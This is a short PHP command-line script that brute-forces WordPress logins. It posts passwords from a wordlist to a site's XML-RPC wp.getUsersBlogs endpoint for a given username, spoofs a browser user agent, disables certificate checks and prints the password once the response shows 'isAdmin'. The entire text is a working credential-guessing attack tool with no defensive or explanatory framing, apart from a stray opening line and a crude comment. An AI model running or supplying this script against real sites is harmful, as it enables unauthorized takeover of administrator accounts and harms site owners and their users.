awdaw

<?php
// RINTOD
function curlX($url, $user, $pass){
  $dataToPOST = "<?xml version=\"1.0\"?><methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
  <param><value>{$user}</value></param>
  <param><value>{$pass}</value></param>
  </params>
  </methodCall>";
  $options = array(
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_ENCODING => "",
    CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/58.0.3135.132", // isi Useragent njing
    CURLOPT_AUTOREFERER => true,
    CURLOPT_CONNECTTIMEOUT => 10,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_POSTFIELDS => $dataToPOST,
    CURLOPT_POST => true
  );
  $ch = curl_init();
  curl_setopt_array($ch, $options);
  $out = curl_exec($ch);
  return $out;
}
$url = @$argv[1];
$user = @$argv[2];
$list = @$argv[3];
if(empty($url) || empty($user) || empty($list)){
  echo "Usage: php $argv[0] <url> <user> <wordlist>\n";
  exit;
}
try{
  $word = explode("\n", file_get_contents($list));
  foreach($word as $wlist){
    $meh = curlX($url, $user, $wlist);
    if(preg_match("@isAdmin@", $meh)){
      echo "Success\n";
      echo "User : $user\n";
      echo "Pass : $wlist\n";
      break;
    }
    else{
      echo "Failed -> $user | $wlist\n";
    }
  }
} catch (Exception $e) {
  echo 'Error : ',  $e->getMessage(), "\n";
}